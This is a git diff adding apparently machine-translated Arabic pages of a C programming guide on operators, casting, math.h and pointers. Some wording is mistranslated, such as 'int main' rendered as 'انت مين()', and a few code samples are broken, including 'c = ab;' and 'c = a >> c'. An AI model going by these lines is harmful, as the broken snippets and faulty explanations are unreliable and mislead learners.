+عودة (0)؛ }
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   هناك العديد من المشغلين الأساسيين:
+*   `+` للإضافة
+*   `-` للطرح
+*   `*` للضرب
+*   `/` للقسمة
+*   `%` ل modulo
+*   هناك أيضًا مجموعة مشغلين أكثر ، لكننا سنتناول التفاصيل فيما بعد.
+*   الرياضيات العددية هي شيء أن C صارمة جدا حول.
+*   C صارم للغاية حول أنواع البيانات
+*   إذا تم تضمين الأعداد الصحيحة فقط ، فسيتم إرجاع عدد صحيح
+*   إذا كان رقم النقطة العائمة متضمنًا في العملية ، يصبح ذلك الجزء من العملية نقطة عائمة
+*   يوفر C مكتبة `math.h` مع وظائف متعددة مثل `pow` لحساب الطاقة من رقم.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/more-math/index.md b/client/src/guide/arabic/c/more-math/index.md
new file mode 100644
index 0000000000..c3f604650f
--- /dev/null
+++ b/client/src/guide/arabic/c/more-math/index.md
@@ -0,0 +1,175 @@
+---
+title: More math
+localeTitle: المزيد من الرياضيات
+---
+# المزيد من الرياضيات في C
+
+حسنًا ، لقد رأيت الأساسيات. هناك الكثير هناك في C ، على الرغم من ذلك ، وهنا نظرة على ذلك.
+
+## ترتيب العمليات
+
+ألق نظرة على المعادلة التالية:
+
+> 1 + (3-2) \* 5
+
+إذا أردنا أن نقرأ ونحسب ببساطة من اليسار إلى اليمين ، فإننا سنأخذ 1 ، نضيف 3 ، نطرح 2 ، ونتضاعف في 5 ، و نحصل على 10. لكن هذا يهمل ترتيب العمليات. يجب أن نفعل (3-2) أولاً ، الحصول على 1 ، ثم ضرب 5 ، ثم أضف 1. هذا يعطي إجابة 6.
+
+وكما هو الحال في الرياضيات العادية ، فإن C لديها ترتيب عمليات. العمليات لها الأسبقية ، وإذا كانت إحدى العمليات لها أسبقية من الأخرى ، فسيتم حساب الأسبقية الأولى أولاً. يمكن أن يؤدي استخدام الأقواس إلى زيادة هذه الأسبقية ، تمامًا كما هو الحال في الرياضيات العادية.
+
+## العمليات الأحادية
+
+العمليات غير الموحدة هي العمليات التي لا يوجد بها سوى متغير واحد. هناك عدد قليل في C.
+
+### عوامل ما بعد الإصلاح والعمليات المسبقة
+
+هناك الكثير من المواقف التي تريد فيها أخذ رقم وإما إلى الأعلى أو الأسفل بنسبة 1. بالنسبة لهذه الحالات ، لدينا عوامل تشغيل ما بعد الإصلاح والإصلاحات المسبقة:
+
+ `1: a++; 
+ 2: ++a; 
+ 
+ 3: a--; 
+ 4: --a; 
+` 
+
+كلا المثالين 1 و 2 سيزيدان قيمة الواحد تلو الآخر. كل من الأمثلة في 3 و 4 سيقلل من قيمة واحدة. ومع ذلك ، 1 لا تفعل نفس الشيء تمامًا مثل 2 ، و 3 لا تفعل نفس الشيء تمامًا مثل 4. تسمى عوامل ما قبل الإصلاح هذا لأن العملية هي البادئة (2 و 4 هي مشغلات البادئة لدينا). ﯾﻌﻣل ھذا ﺑﺷﮐل طﻔﯾف ﺑﺷﮐل ﻣﺧﺗﻟف ﻋن ﻣﺷﻐﻟﻲ ﻣﺎ ﺑﻌد اﻹﺻﻼح ﻓﻲ 1 و 3. ﯾﻘوم اﻟﻣﺷﻐﻟون ﻣﺳﺑﻘًﺎ ﺑﺈﺟراء اﻟﻌﻣﻟﯾﺔ ، ﺛم إﻋﺎدة اﻟﻘﯾﻣﺔ. عاملو الإصلاح اللاحق يعيدون القيمة ، ثم يقومون بالتزايد.
+
+### Unary plus و ناقص
+
+في الرياضيات العادية التي اعتدت عليها ، يمكنك استخدام "-" أمام رقم أو متغير ، وهذا يجعل الرقم أو المتغير سلبيًا. إذا كان الرقم أو المتغير سلبيًا بالفعل ، يصبح إيجابيًا.
+
+C يفعل نفس الشيء: ضع `-` أمام رقم أو متغير - هذا التأثير ، مثل:
+
+ `int number = -3; 
+ number = -number; 
+` 
+
+لذلك ، يبدأ `number` بالسالب 3 ، لكن يصبح بعد ذلك إيجابيًا نظرًا لأن السلبية سالبة إيجابية.
+
+## عمليات Bitwise
+
+لأن C مستوى منخفض كما ذكر من قبل ، يمكنك الوصول إلى وحدات البت الثنائية الفردية (إذا اخترت الاستفادة من هذا). هناك بعض العمليات الثنائية التي بنيت في دعونا نفعل ذلك. في هذه الأمثلة ، سنستخدم `a` و `b` كمتغيراتنا. يمكن أن يكون أي نوع من المتغيرات لأن كل المتغيرات سيتم تمثيلها في وحدات البت ، لذلك لا يهم نوع البيانات الدقيق لهذه.
+
+### و
+
+`c = a & b;` سوف تقوم بعمل bitwise AND. وهذا يعني أنه إذا كان الشيء الأول من `a` وبت الأول من `b` على حد سواء 1، بت الأول من ج سيكون 1 و 0 خلاف ذلك. إذا كانت البتة الثانية من `a` و `b` كلاهما 1 ، فإن البتة الثانية من c ستكون 1 و 0 خلاف ذلك. يستمر هذا حتى يتم كل البتات.
+
+### أو
+
+`c = a | b;` سوف تقوم بتنفيذ دالة OR تكون البتة الأولى من `c` 1 إذا كانت البتة الأولى في `a` أو `b` هي 1 ، تكون البتة الثانية 1 إذا كانت البتة الثانية في `a` أو `b` هي 1 ، وهكذا.
+
+### ليس
+
+`b = ~a;` سيتم تعيين `b` إلى تكملة `a` ، مما يعني أن أي 1 يصبح 0 و 0 يصبح أي 1.
+
+### XOR
+
+`c = a ^ b;` سوف تقوم بإجراء XOR. هذا حصري أو بمعنى أن البتة الأولى من `c` هي 1 إذا كانت `a` أو `b` هي 1 ، ولكن ليس كليهما. الثانية هي 1 إذا كان إما 1 ولكن ليس كلاهما ، وهلم جرا.
+
+### تحول
+
+سيؤدي تغيير البتات إلى أخذ البتات ونقلها إلى بعض الأماكن إلى اليسار أو اليمين. على سبيل المثال ، لنفترض أن لدينا مجموعة من وحدات البت: `101110` . يقوم C بزيادة حسابية عند تغيير البتات. لنستخدم جدولًا لجعل هذا الأمر أكثر وضوحًا:
+
+| بت | | 1 | 2 | 3 | 4 | 5 | 6 | | ------- | --- | --- | --- | --- | --- | --- | --- | | قبل | | 1 | 0 | 1 | 1 | 1 | 0 | | خلال | 1 | 0 | 1 | 1 | 1 | 0 | | | بعد | | 0 | 1 | 1 | 1 | 0 | 0 |
+
+هذا هو التحول الحسيني لحركة البايت الذي يذهب إلى اليسار. لاحظ أنه في اليسار إلى اليسار ، انتهى أقصى اليسار الذي بدأ في الموضع 1 خارج المساحة التي يمكن احتواؤها ، لذلك تمت إزالته. في التحول ، ظهر فتح على اليسار ، لذلك تم ملء مع 0.
+
+الآن دعونا نلقي نظرة على bitshift حسابية واحدة بواحد:
+
+| بت | 1 | 2 | 3 | 4 | 5 | 6 | | | ------- | --- | --- | --- | --- | --- | --- | --- | | قبل | 1 | 0 | 1 | 1 | 1 | 0 | | | خلال | | 1 | 0 | 1 | 1 | 1 | 0 | | بعد | 1 | 1 | 0 | 1 | 1 | 1 | |
+
+لاحظ أنه هنا فتحت فتحة في الموضع 1 ، ولكن بدلاً من أن يتم تعبئتها بمقدار 0 ، تم ملؤها بواسطة البت الأكثر أهمية. في هذه الحالة ، هذا هو 1. إذا كانت البتة التي بدأت في الموضع 1 0 ، لكانت الفجوات تمتلئ بصفر.
+
+وذلك لأن الأرقام الموجودة على جهاز الكمبيوتر الخاص بك يتم تمثيلها باستخدام Two's Complement ، لذلك لا يؤدي التبديل بهذه الطريقة إلى جعل الرقم السالب موجبًا. يستحق Two's Complement قراءة المزيد حول ما إذا كنت مهتمًا بكيفية استخدام أجهزة الكمبيوتر للثنائي لإجراء العمليات الحسابية وتمثيل الأرقام.
+
+لإجراء تحول لليسار ، استخدم المشغل `<<` ، مثل:
+
+ `c = a << b; 
+` 
+
+وهذا التحول `a` لمن اليسار `b` بت، ووضع تلك النتيجة تساوي `c` .
+
+هذا المثال سوف يتحول `a` إلى اليمين `b` بت، وتعيين تلك النتيجة تساوي `c` .
+
+ `c = a >> c; 
+` 
+
+## مشغلي تعيين مركبة
+
+في بعض الأحيان تريد زيادة متغير بقيمة معينة. يمكنك فعل هذا:
+
+ `a = a + b; 
+` 
+
+ومع ذلك ، هذا ما يفعله مشغلو التعيين المركب. بدلا من ذلك ، يمكنك كتابة هذا ، والذي يفعل نفس الشيء بالضبط:
+
+ `a += b; 
+` 
+
+هذا موجود لحفنة من المشغلين الآخرين ، أيضا. في ما يلي جدول مفيد لك:
+
+الطريق القصير الطريق الطويل : --------------: |: ------------: `a += b` | `a = a + b` `a -= b` | `a = a - b` `a *= b` | `a = a * b` `a /= b` `a = a / b` `a %= b` | `a = a % b` `a &= b` `a = a & b` `a ^= b` | `a = a ^ b` `a <<= b` | `a = a << b` `a >>= b` | `a = a >> b`
+
+هناك أيضا `|=` ، والتي ليست على الطاولة لأن `|` حرف يكسر الجدول. إنه يتصرف مثل كل هذه العمليات الأخرى ، رغم ذلك.
+
+## صب
+
+في بعض الأحيان ، لا ترغب في أن يكون الرقم رقمًا ، أو إذا كنت تريد أن يكون عددًا صحيحًا أو عائمًا ، أو شيء من هذا القبيل. هذا هو ما هو الصب.
+
+كما تتذكر من مناقشة التقسيم الصحيح ، سيعطي المثال التالي قيمة عدد صحيح بدون أي قيمة عشرية ، لأن كل من الأرقام الموجودة هي أعداد صحيحة:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 12; 
+    int b = 5; 
+ 
+    printf("a divided by b is %i", a/b); 
+ } 
+` 
+
+ومع ذلك ، باستخدام الصب ، يمكننا تحويلها إلى طوافات باستخدام الصب. هذا يسمح لهم أن يتم تقسيمهم على شكل عوامات ، وسوف ترجع المعادلة قيمة عائمة:
+
+ `#include <stdio.h> 
+ 
+ int main(void) { 
+    int a = 12; 
+    int b = 5; 
+ 
+    printf("a divided by b is %f", (float) a / b); 
+ } 
+` 
+
+وهي الآن نقطة عائمة 12 مقسومة على 5 ، لذلك يقوم هذا بإعادة رقم نقطة عائمة لا يتم اقتطاعها بعد المكان العشري.
+
+لتحويل رقم إلى `int` ، استخدم `(int)` ، لتحويله إلى ملف `double` ، استخدم `(double)` ، وهكذا.
+
+## Math.h
+
+هذا هو كل الأشياء المدمجة ، ولكن مثل كيف يمكنك `#include` stdio و stdbool ، يمكنك تضمين مكتبة تسمى `math.h` تحتوي هذه المكتبة على جميع أنواع الوظائف المفيدة لجميع أنواع الرياضيات. من المفيد إعطاء قراءة [لصفحة ويكيبيديا عليه](https://en.wikipedia.org/wiki/C_mathematical_functions#Overview_of_functions) إذا كنت ترغب في الحصول على القائمة الكاملة للوظائف. فيما يلي مثال على كيفية استخدام `abs` ، وهي الأولى في قائمتهم:
+
+ `a = abs(-1); 
+` 
+
+`abs` يحسب القيمة المطلقة للقيمة التي تم تمريرها إليه. في هذه الحالة، هو تلقي ذلك -1، لذلك سوف يتحول ذلك إلى 1، و `a` سوف يكون على قدم المساواة إلى 1. وهناك الكثير أكثر لإعطاء أكثر من ذلك بكثير وظائف، وهذه هي الطريقة التي سوف تكون قادرة على القيام الدعاة، وحساب المثلثات، وأكثر بكثير.
+
+# قبل أن تذهب ...
+
+## مراجعة
+
+*   هناك حفنة المزيد من مشغلي الرياضيات في C
+*   ترتيب العمليات موجود في C
+*   توجد الأقواس وتعمل مثل الرياضيات العادية لتغيير ترتيب العمليات
+*   هناك عدد قليل من عمليات Unary ، وهي عمليات لا يوجد بها سوى متغير واحد:
+*   تُستخدم عوامل ما بعد الإصلاح والإصلاحات المسبقة لإضافة وطرح 1
+*   إضافة واحد: `++a;` أو `a++;`
+*   طرح واحد: `--a` أو "a--"
+*   `-` يمكن وضعه أمام متغير أو رقم ويعمل تمامًا مثل سلبي في الرياضيات
+*   هناك بعض عمليات البت ، أيضا
+*   ويتم مع &
+*   أو يتم مع |
+*   NOT يتم مع ~
+*   XOR تتم مع ^ (لا يعمل XOR مع رقم نوع عائم في C)
+*   توجد عمليات تخصيص مركبة لجميع العمليات غير أحادية
+*   a + = b هو نفسه a = a + b ، وهكذا
+*   يتيح لك Cast التبديل بين أنواع البيانات
+*   math.h لديه المزيد من الاشياء الرياضيات للعب مع
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/operators/index.md b/client/src/guide/arabic/c/operators/index.md
new file mode 100644
index 0000000000..f22c66d7c2
--- /dev/null
+++ b/client/src/guide/arabic/c/operators/index.md
@@ -0,0 +1,99 @@
+---
+title: Operators
+localeTitle: العاملين
+---
+# المشغلون في C
+
+## 1\. المشغلين الحساب
+
+*   `+` إضافة إلى المعاملات (القيم) `C int a = 6; int c = a + 1; // c = 7`
+*   `-` يطرح المعامل الثاني من الأول `C int a = 8; int b = 9; int c = a - b; // c = -1`
+*   `*` ضرب اثنين من المعاملات `C int a = 8; int b = 9; int c = a * b; // c = 72`
+*   `/` يقسم المعامل الأول من الثاني `C int a = 8; int b = 4; int c = a / b; // c = 2`
+*   `%` يعطي الباقي بعد قسمة عدد صحيح `C int a = 8; int b = 9; int c = b % a; // c = 1 because b = 1*a + 1 = 8 + 1`
+*   `++` يزيد قيمة int من قبل واحد `C int a = 8; a++; // a = 9 int b = a++; // postfix operator; a = 10, b = 9 int c = ++a; // prefix operator; a = 11, c = 11`
+*   `--` يقلل قيمة int من قبل واحد `C int a = 8; a--; // a = 7 int b = a--; // postfix operator; a = 6, b = 7 int c = --a; // prefix operator; a = 5, c = 5` // C برنامج لإثبات عمل المشغلين الحساب
+
+# تتضمن
+
+انت مين() { int a = 9، b = 4، c؛
+
+ `c = a+b; 
+ printf("a+b = %d \n",c); 
+ 
+ c = ab; 
+ printf("ab = %d \n",c); 
+ 
+ c = a*b; 
+ printf("a*b = %d \n",c); 
+ 
+ c=a/b; 
+ printf("a/b = %d \n",c); 
+ 
+ c=a%b; 
+ printf("Remainder when a divided by b = %d \n",c); 
+ 
+ return 0; 
+` 
+
+}
+
+## 2\. العلاقات العلائقية
+
+*   `==` يساوي - صحيح عندما يساوي المعادلان `C int a = 5, b = 5; bool c = (a == b); // c = true`
+*   `!=` لا يساوي - صحيح عندما لا يتساوى المعاملان `C int a = 5, b = 6; bool c = (a != b); // c = true`
+*   `>` أكبر من - True عندما يكون المعامل الأول أكبر من الثاني. `C int a = 8, b = 5; bool c = (a > b); // c = true`
+*   `<` أقل من - صحيح عندما المعامل الأول هو أصغر ثم الثانية. `C int a = 5, b = 8; bool c = (a < b); // c = true`
+*   `>=` أكبر من أو يساوي - True عندما يكون المعامل الأول أكبر أو يساوي الثاني. `C int a = 8, b = 5; bool c = (a >= b); // c = true bool d = (a >= 8); // d = true`
+*   `<=` أقل من أو يساوي - صواب عندما يكون المعامل الأول أصغر أو يساوي الثاني. `C int a = 5, b = 8; bool c = (a <= b); // c = true`
+
+## 3\. المنطقية المشغلين
+
+*   `&&` AND operator - عندما يكون **كلا** المعاملين صحيحين. `C bool c = (5 < 6) && (8!=7); // both operands true, therefore c = true`
+*   `||` OR operator - True عندما يكون المعامل الأول أو الثاني صحيحًا (أو كليهما) `C bool c = (5 < 6) || (8 == 7) // first operand is true, therefore c = true`
+*   `!` NOT operator - True عندما يكون المعامل غير صحيح. `C bool c = !(8 == 7) // translate: NOT (false), therefore c = true`
+
+## 4\. المشغلات bitwise
+
+*   عامل التشغيل `&` AND - إذا كان هناك في مكان ما قليلاً في كلا المعاملات ، فإنه يتم نسخه إلى النتيجة `C A = 11001 B = 01000 RESULT = 01000`
+*   `|` عامل التشغيل OR - إذا كان يوجد في مكان ما في أي من المعاملات ، فإنه يتم نسخه إلى النتيجة `C A = 11001 B = 01000 RESULT = 11001`
+*   `^` XOR (OR OR) المشغل - إذا كان يوجد في مكان ما في أحد المعاملات (وليس كلاهما) ، فإنه يتم نسخها إلى النتيجة `C A = 11001 B = 01000 RESULT = 10001`
+*   `~` عامل النفي - عكس البتات. 1 -> 0 ، 0 -> 1 `C C = 01000 RESULT = 10111`
+*   `<<` مشغل Left shift - يتم تحريك المعامل الأيسر يسارًا بواسطة عدد كبير من البتات ، مثل المعامل الصحيح `C A = 11001 A << 2 RESULT = 00100`
+*   `>>` مشغّل shift الأيمن - يتم تحريك المعامل الأيسر مباشرة بعدد البتّ ، مثل المعامل الصحيح `C A = 11001 A >> 2 RESULT = 00110`
+
+## 5\. مشغلي التكليف
+
+*   `=` `C int a = 7; // 'a' is going to be equal to 7`
+*   `+=` `C int a = 7; a += 5; // equivalent to a = a + 5 = 7 + 5 = 12`
+*   `-=` `C int a = 7; a -= 2; // equivalent to a = a - 2 = 7 - 2 = 5`
+*   `*=` `C int a = 7; a *= 3; // equivalent to a = a * 3 = 7 * 3 = 21`
+*   `/=` `C int a = 21; a /= 3; // equivalent to a = a / 3 = 21 / 3 = 7`
+*   `%=`  
+    `C int a = 21; a %= 5; // equivalent to a = a % 5 = 21 % 5 = 1`
+
+متفرقات المشغلين ↦ sizeof و ternary إلى جانب المشغلين التي نوقشت أعلاه ، هناك عدد قليل من المشغلين المهمين الآخرين بما في ذلك sizeof و؟ : بدعم من C لغة.
+
+وصف المشغل مثال sizeof () يرجع حجم متغير. sizeof (a) ، حيث a عدد صحيح ، سيعود 4. ويعيد عنوان المتغير. &ا؛ إرجاع العنوان الفعلي للمتغير.
+
+*   مؤشر للمتغير. \*ا؛ ؟ : التعبير الشرطي. إذا كان الشرط صحيح؟ ثم قيمة X: وإلا قيمة Y
+
+## 6\. الأسبقية المشغل في C
+
+يظهر المشغلون ذوو الأسبقية الأعلى في أعلى القائمة. ضمن التعبير ، المشغلين مع الأسبقية العالية سيتم تقييمها أولا.
+
+*   Postfix `() [] -> . ++ --`
+*   Unary `+ - ! ~ ++ -- (type)* & sizeof`
+*   مضاعف `* / %`
+*   مضاف `+ -`
+*   التحول `<< >>`
+*   العلائقي `< <= > >=`
+*   المساواة `== !=`
+*   Bitwise AND `&`
+*   Bitwise XOR `^`
+*   Bitwise OR `|`
+*   منطقي و `&&`
+*   منطقية أو `||`
+*   الشرطي `?:`
+*   Assignment `= += -= *= /= %= >>= <<= &= ^= |=`
+*   فاصلة `,`
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/passing-pointers-to-function/index.md b/client/src/guide/arabic/c/passing-pointers-to-function/index.md
new file mode 100644
index 0000000000..8784797ddf
--- /dev/null
+++ b/client/src/guide/arabic/c/passing-pointers-to-function/index.md
@@ -0,0 +1,44 @@
+---
+title: Passing pointers to funtions
+localeTitle: تمرير مؤشرات إلى funtions
+---
+# تمرير مؤشرات إلى funtions
+
+C يسمح تمرير مؤشر إلى دالة. لتحقيق ذلك ، قم ببساطة بتعريف المعلمات كنوع مؤشر. تعد هذه الطريقة في تمرير المراجع إلى الدالات مفيدة عندما تريد تعديل المتغيرات الخارجة عن نطاق تلك الوظيفة.
+
+ `// incorrect implementation of swap 
+ #include <stdio.h> 
+ void swap(int a, int b){ 
+    int c; 
+    c = a; 
+    a = b; 
+    b = c; 
+ } 
+ int main(){ 
+    int var1 = 10; 
+    int var2 = 20; 
+    swap(var1, var2); 
+    printf("Value of var1: %d \n", var1); // prints 10 
+    printf("Value of var2: %d \n", var2); // prints 20 
+ } 
+` 
+
+في مثال التعليمة البرمجية هذه ، لا تعمل وظيفة التبديل كما هو مقصود حيث تقوم بتبديل اثنين من المتغيرات الموجودة فقط داخل نطاق تلك الوظيفة. لإصلاح هذا ، نقوم بإجراء تعديل كما هو موضح أدناه.
+
+ `// correct implementation of swap 
+ #include <stdio.h> 
+ void swap(int* a, int* b){ 
+    int c = *a; 
+    *a = *b; 
+    *b = c; 
+ } 
+ int main(){ 
+    int var1 = 10; 
+    int var2 = 20; 
+    swap(&var1, &var2); 
+    printf("Value of var1: %d \n", var1); // prints 20 
+    printf("Value of var2: %d \n", var2); // prints 10 
+ } 
+` 
+
+في المثال الثاني من التعليمات البرمجية ، تمكّنت من تغيير قيم المتغيرات فقط لأنك كنت تعمل باستمرار على عدم الرجوع إلى المؤشر داخل الدالة بدلاً من محاولة تغيير القيم مباشرة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/c/pointers/index.md b/client/src/guide/arabic/c/pointers/index.md
new file mode 100644
index 0000000000..b3d78b9dd8
--- /dev/null
+++ b/client/src/guide/arabic/c/pointers/index.md
@@ -0,0 +1,306 @@
+---
+title: Pointers
+localeTitle: مؤشرات
+---
+# المؤشرات في C
+
+الآن يجب أن تكون على علم بأن لغة C هي لغة منخفضة المستوى ، ولا شيء يدل على ذلك أفضل من المؤشرات. المؤشرات هي المتغيرات التي تحصل على قيمة المتغير "بالإشارة" إلى موقع ذاكرة بدلاً من تخزين قيمة المتغير نفسه. وهذا يسمح ببعض الحيل المفيدة ، وهو ما يمنحنا أيضًا الوصول إلى المصفوفات ومعالجة الملفات ، من بين أمور أخرى.
+
+#
+
+ `type *var-name; 
+` 
+
+## صنع واستخدام مؤشر
+
+ `#include <stdio.h> 
+ 
+ int main(void){ 
+    double my_double_variable = 10.1; 
+    double *my_pointer; 
+ 
+    my_pointer = &my_double_variable; 
+ 
+    printf("value of my_double_variable: %f\n", my_double_variable); 
+ 
+    ++my_double_variable; 
+ 
+    printf("value of my_pointer: %f\n", *my_pointer); 
+ 
+    return 0; 
+ } 
+` 
+
+انتاج:
+
+ `value of my_double_variable: 10.100000 
+ value of my_pointer: 11.100000 
+` 
+
+في هذا الرمز ، هناك إعلانان. الأول هو تهيئة متغيرة نموذجية مما يؤدي إلى `double` وتعيينها تساوي 10.1. الجديد في تصريحاتنا هو استخدام `*` . تستخدم العلامة النجمية ( `*` ) عادةً للضرب ، ولكن عندما نستخدمها بوضعها أمام متغير ، فإنها تخبر C بأن هذا متغير مؤشر.
+
+يخبر السطر التالي المحول البرمجي حيث يوجد ذلك في مكان آخر. باستخدام `&` بهذه الطريقة ، يصبح "مشغل إلغاء الإشارة" ، ويعيد موقع الذاكرة للمتغير الذي ينظر إليه.
+
+مع أخذ ذلك في الاعتبار ، دعونا نلقي نظرة أخرى على هذا الرمز من التعليمات البرمجية:
+
+ `double *my_pointer; 
+ // my_pointer now stored the address of my_double_variable 
+ my_pointer = &my_double_variable; 
+` 
+
+تم الإعلان عن `my_pointer` وتم الإعلان عنه كمؤشر. يعرف المترجم C الآن أن `my_pointer` إلى موقع ذاكرة. يعيّن السطر التالي `my_pointer` قيمة موقع ذاكرة باستخدام `&` .
+
+الآن دعونا نلقي نظرة على ما يشير إلى الإشارة إلى موقع الذاكرة لرمزك:
+
+ `    printf("value of my_double_variable: %f\n", my_double_variable); 
+ 
+    // Same as my_double_variable = my_double_variable + 1 
+    // In human language, adding one to my_double_variable 
+    ++my_double_variable; 
+ 
+    printf("value of my_pointer: %f\n", *my_pointer); 
+` 
+
+لاحظ أنه للحصول على قيمة البيانات الموجودة في `*my_pointer` ، ستحتاج إلى إخبار C أنك تريد الحصول على القيمة التي يشير إليها المتغير. حاول تشغيل هذا الكود بدون هذه العلامة النجمية ، وستتمكن من طباعة موقع الذاكرة ، لأن هذا هو ما `my_variable` المتغير `my_variable` بالفعل.
+
+يمكنك تعريف مؤشر متعدد في عبارة واحدة كما هو الحال مع المتغيرات القياسية ، مثل:
+
+ `int *x, *y; 
+` 
+
+لاحظ أن `*` مطلوب قبل كل متغير. وهذا لأن كونك مؤشرًا يعتبر جزءًا من المتغير وليس جزءًا من نوع البيانات.
+
+## الاستخدامات العملية للمؤشرات
+
+### المصفوفات
+
+التطبيق الأكثر شيوعًا لمؤشر موجود في صفيف. الصفائف ، التي ستقرأ عنها لاحقًا ، تسمح لمجموعة من المتغيرات. لا يتعين عليك فعليًا التعامل مع `*` و `&` لاستخدام المصفوفات ، ولكن هذا ما يفعلونه وراء الكواليس.
+
+### المهام
+
+في بعض الأحيان تريد ضبط قيمة متغير داخل دالة ، ولكن إذا قمت ببساطة بالمرور في القيمة ذات القيمة المتغيرة ، ستعمل الدالة مع نسخة من المتغير الخاص بك بدلاً من المتغير نفسه. إذا قمت بدلاً من ذلك بتمرير المؤشر في الإشارة إلى موقع الذاكرة للمتغير ، فيمكنك الوصول إليه وتعديله من خارج نطاقه الطبيعي. هذا لأنك تلمس موقع الذاكرة الأصلي نفسه ، مما يسمح لك بضبط شيء ما في إحدى الوظائف وإجراء تغييرات في مكان آخر. على النقيض من "call by value" ، يسمى هذا "call by reference".
+
+يقوم البرنامج التالي بتبديل قيم متغيرين داخل دالة `swap` المخصصة. لتحقيق ذلك ، يتم تمرير المتغيرات بالإشارة.
+
+ ` /* C Program to swap two numbers using pointers and function. */ 
+ #include <stdio.h> 
+ void swap(int *n1, int *n2); 
+ 
+ int main() 
+ { 
+    int num1 = 5, num2 = 10; 
+ 
+    // address of num1 and num2 is passed to the swap function 
+    swap( &num1, &num2); 
+    printf("Number1 = %d\n", num1); 
+    printf("Number2 = %d", num2); 
+    return 0; 
+ } 
+ 
+ void swap(int * n1, int * n2) 
+ { 
+    // pointer n1 and n2 points to the address of num1 and num2 respectively 
+    int temp; 
+    temp = *n1; 
+    *n1 = *n2; 
+    *n2 = temp; 
+ } 
+` 
+
+انتاج |
+
+ `Number1 = 10 
+ Number2 = 5 
+` 
+
+يتم تمرير العناوين ، أو مواقع الذاكرة ، من `num1` و `num2` إلى `swap` الدالة ويتم تمثيلها بواسطة المؤشرات `*n1` و `*n2` داخل الدالة. لذلك ، الآن تشير المؤشرات `n1` و `n2` إلى عناوين `num1` و `num2` على التوالي.
+
+لذا ، يشير الآن المؤشر n1 و n2 إلى عنوان num1 و num2 على التوالي.
+
+عندما يتم تغيير قيمة المؤشرات ، تتغير القيمة في موقع الذاكرة المدورة أيضًا.
+
+وبالتالي ، تنعكس التغييرات التي تم إجراؤها على \* n1 و \* n2 في num1 و num2 في الوظيفة الرئيسية.
+
+### المؤشرات كمواصفات إلى وظيفة
+
+عندما نمرر أي معلمة لتعمل ، فإننا نقوم بعمل نسخة من المعلمة. دعونا نرى مع المثال
+
+ `#include <stdio.h> 
+ 
+ void func(int); 
+ 
+ int main(void) { 
+    int a = 11; 
+    func(a); 
+    printf("%d",a);// print 11 
+ 
+ 
+    return 0; 
+ } 
+ void func(int a){ 
+ a=5 
+ printf("%d",a);//print 5 
+ } 
+` 
+
+في المثال أعلاه ، نقوم بتغيير قيمة الرقم الصحيح في الدالة func ، لكننا لا نزال نحصل على 11 في الوظيفة الرئيسية. يحدث هذا لأنه في وظيفة نسخة من عدد صحيح مرت كمعلمة ، لذلك في هذه الوظيفة لا يمكننا الوصول إلى "a" في الوظيفة الرئيسية.
+
+إذن كيف يمكنك تغيير قيمة العدد الصحيح المحدد بشكل أساسي ، باستخدام وظيفة أخرى؟ هنا تأتي POINTERS في الدور. عندما نوفر المؤشر كمعلمة ، يمكننا الوصول إلى عنوان هذه المعلمة ويمكننا الوصول إلى أي من هذه المعلمات مع النتيجة وسيتم عرض النتيجة في كل مكان. أدناه مثال يوضح بالضبط نفس الشيء الذي نريده ...
+
+من خلال `n1` الإشارة إلى `n1` و `n2` ، يمكننا الآن تعديل الذاكرة التي تشير إلى نقطة `n1` و `n2` . هذا يسمح لنا بتغيير قيمة المتغيرين `num1` و `num2` المعلنين في الوظيفة `main` خارج `num2` الطبيعي. بعد الانتهاء من الوظيفة ، قام المتغيران الآن بتبديل قيمهما ، كما يمكن رؤيتها في الإخراج.
+
+### الحيل مع مواقع الذاكرة
+
+كلما كان من الممكن تجنب ذلك ، من المستحسن إبقاء التعليمات البرمجية الخاصة بك سهلة القراءة والفهم. في أفضل السيناريوهات ، فإن شفرتك ستحكي القصة - سيكون من السهل قراءة أسماء المتغيرات ، ومن المنطقي إذا قرأتها بصوت عالٍ ، وستستخدم التعليق أحيانًا لتوضيح ما يفعله سطر الشفرة.
+
+ولهذا السبب ، يجب توخي الحذر عند استخدام المؤشرات. من السهل إنشاء شيء مربك بالنسبة لك لتصحيح الأخطاء أو قراءة شخص آخر. ومع ذلك ، فمن الممكن القيام ببعض الأشياء الجميلة معهم.
+
+ألقِ نظرة على هذا الرمز ، الذي يحول شيء من الأحرف الكبيرة إلى الصغيرة:
+
+ `#include <stdio.h> 
+ #include <ctype.h> 
+ 
+ char *lowerCase (char *string) { 
+    char *p = string; 
+    while (*p) { 
+        if (isupper(*p)) *p = tolower(*p); 
+        p++; 
+    } 
+    return string; 
+ } 
+` 
+
+يبدأ هذا عن طريق اتخاذ سلسلة (شيء ستتعرف عليه عندما تصل إلى المصفوفات) ويمر عبر كل موقع. لاحظ في p ++. هذا يزيد المؤشر ، مما يعني أنه يبحث في موقع الذاكرة التالي. كل حرف هو موقع ذاكرة ، لذلك في هذه الحالة المؤشر يتطلع إلى كل حرف واتخاذ قرار بشأن ما يجب القيام به لكل واحد.
+
+### كونست Qualifer
+
+يمكن تطبيق الثوابت المؤهلة على تعريف أي متغير لتحديد أنه لن يتم تغيير قيمته (والذي يعتمد على حيث يتم تخزين المتغيرات const ، قد نقوم بتغيير قيمة متغير const باستخدام المؤشر).
+
+# مؤشر للمتغير
+
+يمكننا تغيير قيمة ptr ويمكننا أيضًا تغيير قيمة ptr object التي تشير إلى. يشرح جزء التعليمات البرمجية التالي مؤشر إلى متغير
+
+ `#include <stdio.h> 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
+    int *ptr = &i;        /* pointer to integer */ 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    /* pointer is pointing to another variable */ 
+    ptr = &j; 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    /* we can change value stored by pointer */ 
+    *ptr = 100; 
+    printf("*ptr: %d\n", *ptr); 
+ 
+    return 0; 
+ } 
+` 
+
+# مؤشر إلى ثابت
+
+يمكننا تغيير المؤشر للإشارة إلى أي متغير صحيح آخر ، ولكن لا يمكن تغيير قيمة الكائن (الكيان) المشار إليه باستخدام مؤشر ptr.
+
+ `#include <stdio.h> 
+ int main(void) 
+ { 
+    int i = 10; 
+    int j = 20; 
